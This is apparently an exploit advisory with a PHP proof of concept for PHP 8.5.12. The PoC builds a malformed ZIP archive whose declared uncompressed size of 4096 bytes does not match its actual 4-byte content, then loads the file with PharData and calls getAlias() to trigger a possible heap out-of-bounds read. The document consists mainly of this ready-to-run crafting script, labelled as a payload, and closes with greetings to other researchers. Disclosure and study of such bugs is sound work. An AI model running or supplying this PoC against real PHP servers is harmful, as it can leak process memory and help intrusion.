PHP 8.5.12 PharData ZIP Uncompressed Size Mismatch

==================================================================================================================================
| # Title     : PHP 8.5.12 – PharData ZIP Uncompressed Size Mismatch – Potential Heap Out-of-Bounds Read                         |
| # Author    : indoushka                                                                                                        |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 159.0 (64 bits)                                                   |
| # Vendor    : https://www.php.net/                                                                                             |
==================================================================================================================================

[+] Summary    : A PHP proof-of-concept constructs a malformed ZIP archive containing a DEFLATE-compressed entry whose declared 
                 uncompressed size (4096 bytes) differs from its actual decompressed content (4 bytes). 
				 It then loads the archive using PharData and calls getAlias() to investigate a potential 
				 heap out-of-bounds read and memory disclosure caused by inconsistent ZIP metadata.
                 ZIP Metadata Validation, PharData Parsing, Heap Memory Safety, Out-of-Bounds Read.

[+] Payload    : 


<?php

$name = '.phar/alias.txt';
$alias = 'ABCD'; 
$data = gzdeflate($alias); 
$crc = crc32($alias);
$claimed = 0x1000;


$local = "PK\x03\x04"
    . pack('vvvvvVVVvv', 20, 0, 8, 0, 0, $crc, strlen($data), $claimed, strlen($name), 0)
    . $name . $data;

$central = "PK\x01\x02"
    . pack('vvvvvvVVVvvvvvVV', 20, 20, 0, 8, 0, 0, $crc, strlen($data), $claimed, strlen($name), 0, 0, 0, 0, 0, 0)
    . $name;

$end = "PK\x05\x06"
    . pack('vvvvVVv', 0, 0, 1, 1, strlen($central), strlen($local), 0);


file_put_contents(__DIR__ . '/indoushka.zip', $local . $central . $end);

$phar = new PharData(__DIR__ . '/indoushka.zip');
var_dump($phar->getAlias()); 
?>

		
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================